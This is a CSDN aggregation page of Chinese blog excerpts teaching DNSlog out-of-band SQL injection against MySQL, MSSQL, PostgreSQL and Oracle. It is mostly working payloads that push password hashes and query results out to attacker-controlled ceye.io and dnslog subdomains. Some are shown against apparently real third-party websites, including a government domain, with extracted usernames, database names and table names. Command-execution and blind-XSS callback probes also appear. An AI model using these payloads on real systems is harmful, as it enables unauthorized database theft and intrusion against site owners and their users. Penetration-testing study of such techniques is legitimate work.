dnslog oracle_oracle dnslog注入 - CSDN
精华内容
参与话题
  • Dnslog在SQL注入中的实战

    千次阅读 2019-01-20 11:05:39
    Dnslog在SQL注入中的实战 本文主要讲述Dnslog这种攻击手法在SQL注入中的实战运用,虽然网上对于Dnslog在SQL注入方面运用的文章也不少。但是很多文章都只是片面的提到了这个攻击方式,或者只是用某个简单的payload做...

    Dnslog在SQL注入中的实战

    本文主要讲述Dnslog这种攻击手法在SQL注入中的实战运用,虽然网上对于Dnslog在SQL注入方面运用的文章也不少。但是很多文章都只是片面的提到了这个攻击方式,或者只是用某个简单的payload做了简单的验证。

    本文主要讲述Dnslog这种攻击手法在SQL注入中的实战运用,虽然网上对于Dnslog在SQL注入方面运用的文章也不少。但是很多文章都只是片面的提到了这个攻击方式,或者只是用某个简单的payload做了简单的验证。然而在实际的运用中,因为环境的差异,利用也不同。本文详细的记录了在多种常见数据库实际运用过程的一些细节,包括POC的编写和原理,和一些网上没有公开的利用POC。

    Dnslog在SQL注入中的实战

    一、关于DNSlog在Web攻击的利用

    DNSlog在Web漏洞利用中已经是老生常谈的问题,简单理解就是在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过这种方式把想获得的数据外带出来。

    二、常用在哪些情况下

    • SQL注入中的盲注
    • 无回显的命令执行
    • 无回显的SSRF

    三、Dnslog攻击的基本原理

    Dnslog攻击的基本原理

    如图所示,作为攻击者,提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就得到了想要的值。所以我们需要有一个自己的域名,然后在域名商处配置一条NS记录,然后我们在NS服务器上面获取DNS日志即可。

    四、Dnslog在常见数据库中SQL注入的实战

    这里主要列举了4种数据库,MySQL、MSSQL、PostgreSQL、Oracle。

    本次演示一个最常见的注入场景,就是WHERE后面条件处的注入。实验环境有一个test_user表,三个字段id、user、pass。如下

    img

    最后想要达到的目的是通过DNS外带的方式查询到pass字段的内容。

    此处就不再自己搭建一个DNS服务器了,直接用ceye.io这个平台吧,这个平台就集成了Dnslog的功能。

    1. MySQL

    (1) load_file

    MySQL应该是在实战中利用Dnslog最多的,所以先来说说它吧。

    在MySQL中有个一个load_file函数可以用来读取本地的文件。

    http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass)  FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc')) 
    

    img

    可以看到test_user中的pass字段的值的Hex码就被查询出来了,为什么这个地方Hex编码的目的就是减少干扰,因为很多事数据库字段的值可能是有特殊符号的,这些特殊符号拼接在域名里是无法做dns查询的,因为域名是有一定的规范,有些特殊符号是不能带入的。

    注意:load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。

    (2) UNC路径

    以下是百度的UNC路径的解释

    其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式

    \\sss.xxx\test\ 
    

    这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个就变\成了2个\,目的就是利用UNC路径。

    tips: 
    

    因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的

    2. msSQL

    (1) 先看看网上流传最多的POC:

    DECLARE @host varchar(1024);  SELECT @host=(SELECT TOP 1master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_loginsWHERE name='sa')+'.ip.port.b182oj.ceye.io';  EXEC('master..xp_dirtree"\'+@host+'\foobar$"'); 
    

    这个POC在数据库控制台执行的确是可以得到数据库中sa用户Hex编码之后的Hash的。但是实际要获得我们的test_user的表中的数据的时候,对POC需要一定的加工。

    首先在sqlserver中字段名是不能和自定义函数名字冲突的,如果冲突需要用[]将字段包裹起来,如下图:

    img

    这里的user字段正好和系统的user()函数同名,所以字段需要[]包裹。

    开始和域名拼接,发生如下图的情况

    img

    然后发现拼接起来的字符串有空格,这是因为在sqlserver中当需要字符串拼接的时候,如果字段的值的长度没有达到表结构字段的长度,就会用空格来填充

    img

    这里我的pass字段设置的长度是50,所但是值实际的长度是8,之所以剩余的长度就用空格填充了。这个时候就用想办法去掉空格,查阅手册可以发现rtrim函数是可以去除右边空格的,如下图

    img

    开始编码,前面说过域名是不能带有些特殊字符的,所以我们最好能将查询出来的值编码之后再和域名进行拼接,但是在查阅了sqlserver的手册之后,没有发现可以直接对字符类型进行编码的函数,只有将2进制转换成Hex的函数,所以这里我需要先将字符类型强制转换成varbinary二进制类型,然后再将二进制转化成Hex编码之后的字符类型。先转换成二进制

    img

    再把二进制转换成字符类型的Hex编码

    img

    最后完整的POC就是出来了。

    http://127.0.0.1/mssql.php?id=1; DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass)))  FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io'; EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"'); 
    

    结果如下:

    img

    那为什么网上给的那个POC就是能够获取到sa用户的hash之后的hex码的呢,原因如下:

    img

    因为那个hash字段本来就是二进制类型,所以不需要在经过类型转换了。

    tips:此处有个小问题,因为拼接用到了+号,+号在url中如果不url编码到代码层的时候就成空格了,所以我们需要在提交之前对+号url编码下

    (2) SQLServer中其他的一些可使用函数

    master..xp_fileexist master..xp_subdirs 
    

    这两个用法和前面的用法基本一样,不再赘述。

    OpenRowset() OpenDatasource() 
    

    这两个都是加载远程数据库的函数。

    这个两个函数都需要高权限,而且系统是默认关闭的,需要通过sp_configure去配置高级选项开启功能,开启代码如下:

    exec sp_configure 'show advanced options',1;  reconfigure;  exec sp_configure 'Ad Hoc Distributed Queries',1;  reconfigure; 
    

    所以此处不推荐使用这两个函数,不仅权限要求高而且使用起来也太麻烦,前面三已经够用了。

    3. postgreSQL

    大多数的脚本语言对于PostgreSQL都是支持SQL语句多语句的执行的所以此处就非常方便了,我们可以编写一个自定义的函数和存储过程就好了,和SQLServer类似。1)copy函数的定义

    COPY tablename [ ( column [, ...] ) ]  FROM { 'filename' | STDIN } [ WITH ] [ BINARY ] [ OIDS ] [ DELIMITER [ AS ] 'delimiter' 'null string' ] CSV [ QUOTE [ AS ] 'quote' 'escape' ]  [ FORCE NOT NULL column [, ...] ]  COPY tablename [ ( column [, ...] ) ] TO { 'filename' | STDOUT } [ WITH ] [ BINARY ] [ OIDS ] [ DELIMITER [ AS ] 'delimiter' 'null string' ]  CSV [ QUOTE [ AS ] 'quote' 'escape' ] [ FORCE QUOTEcolumn [, ...] ] 
    

    从定义看出这里是无法嵌套查询,它这里需要直接填入文件名,所以过程就麻烦一点。

    这是网上的POC,整体上没有什么问题。

    DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function()RETURNS VOID AS $$DECLARE exec_cmd TEXT; DECLARE query_result TEXT;BEGINSELECT INTO query_result (SELECT passwdFROM pg_shadow WHERE usename='postgres'); exec_cmd := E'COPY table_output(content)FROM E\'\\\\'||query_result||E'.postgreSQL.nk40ci.ceye.io\\foobar.txt\''; EXECUTE exec_cmd;END;$$ LANGUAGE plpgSQL SECURITY DEFINER;SELECT temp_function(); 
    

    只是需要对数据处理编一下码,此处会用到encode函数,如下

    encode(pass::bytea,’hex’) 
    

    最后完整的POC如下:

    http://127.0.0.1/pgSQL.php?id=1;DROP TABLE IF EXISTS table_output;  CREATE TABLE table_output(content text);  CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;  DECLARE query_result TEXT;  BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);  exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';     EXECUTE exec_cmd;  END; $$ LANGUAGE plpgSQL SECURITY DEFINER;  SELECT temp_function(); 
    

    结果:

    img

    tips:因为这里的copy需要的参数是文件路径,所以这里其实也是利用了UNC路径,因此这个方式也只能在windows下使用

    (2) db_link扩展

    db_link是PostreSQL用来连接其他的数据库的扩展,用法也很简单,而且可以嵌套子查询,那就很方便了

    dblink('连接串', 'SQL语句') 
    
    http://127.0.0.1/pgsql.php?id=1;CREATE EXTENSION dblink;  SELECT * FROM dblink('host='||(select encode(pass::bytea,'hex') from test_user where id =1)||'.vvv.psql.3.nk40ci.ceye.io user=someuser dbname=somedb',  'SELECT version()') RETURNS (result TEXT); 
    

    CREATE EXTENSION dblink; 就是打开这个扩展,因为这个扩展默认是关闭的。

    img

    tips:

    • 在Ubuntu测试的时候dblink扩展不是默认安装的,需要自己安装扩展。
    • Windows下是默认虽然有扩展的,但是默认是不开启的,需要打开扩展。

    4. Oracle

    Oracle的利用方式就太多了,因为Oracle能够发起网络请求的模块是很很多的。

    这里就列举几个吧。

    UTL_HTTP.REQUEST

    select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL; 
    

    img

    img

    DBMS_LDAP.INIT

    select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL; 
    

    HTTPURITYPE

    select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.nk40ci.ceye.io').GETCLOB() FROM sys.DUAL; 
    

    UTL_INADDR.GET_HOST_ADDRESS

    select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;  
    

    tips:oracle是不允许select语句后面没有表的,所以此处可以跟一个伪表dual

    Oracle其他一些能够发起网络请求的模块:

    UTL_HTTP  UTL_TCP  UTL_SMPTP  UTL_URL 
    

    五、总结

    • 有些函数的使用操作系统的限制。
    • dns查询有长度限制,所以必要的时候需要对查询结果做字符串的切割。
    • 避免一些特殊符号的产生,最好的选择就是数据先编码再带出。
    • 注意不同数据库的语法是有差异的,特别是在数据库拼接的时候。
    • 有些操作是需要较高的权限。
    展开全文
  • dns带外查询(cloudeye.me的使用)

    千次阅读 2015-11-23 21:34:55
    一些操蛋盲注可以用dns的带外查询来解决了,而且有了cloudeye这个神器就可以愉快的解决: 说明: 我们在浏览网页或者ping某个域名的时候我们先是从域名服务器里面获取那个网站的ip地址,然后我们才会发起对那台...
    一些操蛋盲注可以用dns的带外查询来解决了,而且有了cloudeye这个神器就可以愉快的解决:

    说明:
    我们在浏览网页或者ping某个域名的时候我们先是从域名服务器里面获取那个网站的ip地址,然后我们才会发起对那台服务的请求,cloudeye留下了四级五级域名的控制权,所以我们能发起一个域名请求来在cloudeye留下日志信息,从将数据库的信息带出来

    比如:ping test.xxxxx.dnslog.info

    你就会看到在日志记录上留下痕迹:
    test.xxxxx.dnslog.info


    我们如果用数据库发起一个dns请求: (数据库查询结果).xxxx.dnslog.info

    就会在cloudeye的日志里面留下
    (数据库查询结果).xxxx.dnslog.info

    注意:
    dns的请求被限制在63个字符长度大小
    oracle的利用方式:
    (1)首先是获取数据库的当前用户的用户名:

    http://210.35.35.70:82/Book.aspx?id=0199332841' union (SELECT UTL_HTTP.REQUEST((select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual)||'.xxxxx.dnslog.info') FROM DUAL) –

    说明:我看了帖子终于找到一个靠谱的函数:
    UTL_HTTP.REQUEST():
    utl_http包功能还是很强大的 可以通过他来捕捉网站页面的内容 或者调用一个url的接口完成某项功能

    这里我们来用他引发dns 查询

    在cloudeye的日志中留下的:nchd.xxxxx.dnslog.info

    其中:nchd 就是数据库的当前用户名

    (2)查询表名:
    http://210.35.35.70:82/Book.aspx?id=0199332841' union (SELECT UTL_HTTP.REQUEST((SELECT table_name FROM(SELECT user_tables.table_name, ROWNUM AS CON FROM user_tables WHERE ROWNUM <= 1)WHERE CON >=1)||'.xxxxx.dnslog.info') FROM DUAL) –

    结果:

    dr$qk_comcp_fulltext$k.xxxxx.dnslog.info

    表名是:dr$qk_comcp_fulltext$k

    sql server的利用方式:

    获取数据库名:

    www.kfgtfcj.gov.cn/lzygg/Zixun_show.aspx?id=1;declare @@yukari varchar(100);set @@yukari=(select db_name());exec('backup log kaifeng to disk=''\\'+@@yukari+'.xxxxxx.dnslog.info\a'';');--


    结果:

    kaifeng.xxxxx.dnslog.info

    数据库名字:kaifeng

    爆表:
    www.kfgtfcj.gov.cn/lzygg/Zixun_show.aspx?id=1;declare @@yukari varchar(100);set @@yukari=(select top 1 name from kaifeng.sys.all_objects where type='U' AND is_ms_shipped=0);exec('backup log kaifeng to disk=''\\'+@@yukari+'.xxxxx.dnslog.info\a'';');--

    结果:

    FRIENDLINK.xxxxx.dnslog.info

    表名:FRIENDLINK

    对了,cloudeye可以在乌云官网上购买:

    http://www.wooyun.org/market/260

    10wb
    展开全文
  • 使用DNSLog进行盲打

    2020-10-19 21:12:59
    在渗透测试中,SQL盲注、命令盲注等漏洞是较难利用...针对此类问题,我们可以使用DNSLOG来进行突破。DNSLOG是一种回显机制,使用者可以通过DNS解析日志来读取漏洞的回显。 参考文章:使用DNSLOG拯救你的盲打盲注 ...

    目录

    DNSLog 

    SQL盲注回显

    无回显的XSS

    更多盲打Payload


    在渗透测试中,当我们碰到无回显的漏洞是非常难利用的。一是我们不知道存不存在漏洞,二是我们不知道漏洞执行的结果。因此,针对无回显的漏洞,我们可以通过使用DNSLog来进行回显。DNSLog是一种回显机制,攻击者可以通过DNS的解析日志来读取漏洞执行的回显结果。  

    DNSLog 

    首先,我们都知道DNS的解析过程,递归查询和迭代查询相结合,传送门:DNS解析过程

    这里我们可以控制的是域名的DNS服务器,也就是如下的 "baidu.com" 的DNS服务器。我们只需要搭建一个的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级三级甚至更多级的子域名上去请求,就可以通过DNS解析日志来获取到它们。

    DNSLog部署过程:

    • 申请一个域名,如 xie.com
    • 在我们的VPS上安装并配置DNS服务器
    • 将 xie.com 的DNS服务器设置为我们的VPS地址
    • 这样,所有访问 xie.com 的二级三级四级等等子域名都会被解析到我们的VPS上。我们就可以通过查询DNS解析记录来获得命令执行的回显了。

    但是由于部署非常麻烦,所以我们可以通过一些在线的DNSLog平台:

    SQL盲注回显

    不管是布尔类型盲注还是时间盲注,都需要发送大量的数据包去判断数据,而这很可能会触发WAF的防护,因此导致被封IP。所以,如果条件允许,我们可以结合DNSlog来快速的回显数据。MySQL数据库,通过DNSlog盲注需要用到 load_file() 函数,该函数不仅能加载本地文件,同时也能对URL发起请求。因为需要使用 load_file() 函数,所以需要root权限,并且 secure_file_priv 需要为空。传送门:MySQL数据库中的文件操作函数(load_file()、into outfile、into dumpfile)

    Payload如下:

    SELECT LOAD_FILE(CONCAT('\\\\',(要查询的语句),'.xx.xx.xx\\abc'));

    执行的语句 

    DNSLog平台收到的DNS查询

    无回显的XSS

    payload

    <img src=http://hf8r67.dnslog.cn>
    

    DNSLog平台收到的DNS查询

    即可证明存在XSS

    更多盲打Payload

    更多漏洞的Payload,查看ceye的后台,

    参考文章:使用DNSLOG拯救你的盲打盲注 

          

    展开全文
  • Dnslog在SQL注入 & 四种数据库

    千次阅读 2019-03-07 16:27:10
    https://www.anquanke.com/post/id/98096 mysql http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass)...FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk4...

    https://www.anquanke.com/post/id/98096

     

    mysql

    http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass) 
    FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc'))

    mssql

    http://127.0.0.1/mssql.php?id=1;
    DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) 
    FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';
    EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');

    postgres

    http://127.0.0.1/pgSQL.php?id=1;DROP TABLE IF EXISTS table_output;
    
    CREATE TABLE table_output(content text);
    
    CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;
    
    DECLARE query_result TEXT;
    
    BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);
    
    exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';
    
       EXECUTE exec_cmd;
    
    END;
    
    $$ LANGUAGE plpgSQL SECURITY DEFINER;
    
    SELECT temp_function();

    oracle // 仅列举了四种函数

    1. [UTL_HTTP.REQUEST] select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL;
    
    2. [DBMS_LDAP.INIT] select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL;
    
    3. [HTTPURITYPE] select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.nk40ci.ceye.io').GETCLOB() FROM sys.DUAL;
    
    4. [UTL_INADDR.GET_HOST_ADDRESS] select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL; 

     

    UNC 对于 DNSLOG 必看,城哥问过我

        load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。
        UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
        因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的 

     

     

    展开全文
  • SQL注入之利用DNSlog外带盲注回显

    千次阅读 2020-03-31 09:01:33
    0x00 SQL盲注 当我们发现一个站点存在一个没有数据回显的注入点...此时我们就可以利用DNSlog来快速的获取数据,当然我们也可以在无回显的命令执行或者无回显的SSRF中利用。 0x01 DNSlog利用条件 DBMS中需要有可...
  • 0x00 Command Execution i. *nix: curl http://ip.port.b182oj.ceye.io/`whoami` ping `whoami`.ip.port.b182oj.ceye.io ii. windows ping %USERNAME%.b182oj.ceye.io 0x01 SQL Injection From http://docs.
  • sqlmap结合dnslog注入

    2020-05-25 18:48:45
    sqlmap结合dnslog注入环境搭建1.phpstudy2.注入点3.配置mysql4.在线doslog网站5.sqlmap结合dnslog安装dns服务器添加转发(关键)复现手工注入sqlmap的--dns-domain参数注入参考文章 环境搭建 1.phpstudy 去官网下载...
  • Fastjson 反序列化漏洞复现

    千次阅读 2020-04-14 09:58:47
    Fastjson 反序列化漏洞复现 前言 因为之前并没有遇到过fastjson相关的漏洞,刚好这次有机会碰到了就顺便学习一下并记录自己踩过的坑。 漏洞原理 漏洞复现 这里漏洞环境主要是用vulhub上的两个fastjson漏洞搭建,搭建...
  • DNSLOG用法

    2019-08-06 22:13:04
    0x00 Command Execution i. *nix: curl http://ip.port.b182oj.ceye.io/`whoami` ping `whoami`.ip.port.b182oj.ceye.io ii. windows ping %USERNAME%.b182oj.ceye.io 0x01 SQL Injection ...i.......
  • 支持对Shiro550(硬编码秘钥)和Shiro721(Padding Oracle)的一键化检测,支持多种回显方式 使用说明 第一步:按要求输入要检测的目标URL和选择漏洞类型 Shiro550无需提供rememberMe Cookie,Shiro721需要提供一...
  • DNSlog盲注

    2019-07-20 08:15:45
    前言 在渗透测试中,经常遇到如下情景: ...dnslog盲注原理 开放的DNSlog平台: http://ceye.io/ 在http://ceye.io/上我们可以获取到有关ceye.io的DNS查询信息。 域名解析的过程,是由顶级域名向下逐级...
  • dnslog小技巧

    2019-08-12 02:32:52
    一、dnslog利用场景 主要针对无回显的情况。 Sql-Blind RCE SSRF RFI(Remote File Inclusion) 二、原理 将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名...
  • Oracle注入之带外通信

    2019-06-13 16:28:38
    Oracle注入之带外通信和DNSLOG注入非常相似,例如和mysql中load_file()函数实现无回显注入非常相似。 下面介绍这个技术中常用的函数和使用。 环境这里准备两台测试,一台注入点的靶机,一台接受回显数据的平台...
  • 逆向学习fastjson反序列化始

    千次阅读 2020-07-26 21:31:18
    前言 text:json文本数据 len:json文本数据长度 token:代表解析到的这一段数据的类型 ch:当前读取到的字符 bp:当前字符索引 sbuf:正在解析段的数据,char数组 sp:sbuf最后一个数据的索引 ...
  • 4、Oracle 3.总结 1.DNSLOG的原理 DNS的解析是递归与迭代相结合的,下面给出了当我们访问www.cloudcrowd.com.cn时, DNS的解析过程示意图 其中,红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器,...
  • Oracle数据库利用教程

    2020-09-09 20:10:20
    注释符号–,该符号是Oracle和MsSQL支持的注释符,返回正常就需要继续判断。可以继续提交多语句支持符号;如果支持多行查询,说明是MSSQL,因为Oracle不支持多行查询,可以继续提交查询语 and (select count(*) from ...
  • hive小试(一)

    2019-09-02 21:49:16
    场景:对于dnsserver上面的日志, SA希望能够load到数据库中进行一些报表的查询,数据量比较大,8台dnsserver每台每小时的日志为300M左右,那么每天大概的数据量为60G...
  • CEYE平台使用简介

    千次阅读 2019-08-10 00:26:59
    CEYE简介 ...它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF/ XXE/ RCE等)。 CEYE的使用场景 CEYE的诞生也是因为它的使用场景而孕育而生的,一般有两种常见的情况会导致许多漏洞扫描工具漏扫: ...
  • Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。 文章目录: 1、Shiro rememberMe反序列化漏洞(Shiro-550) ...
1 2 3 4
收藏数 67
精华内容 26
热门标签
关键字:

dnslog oracle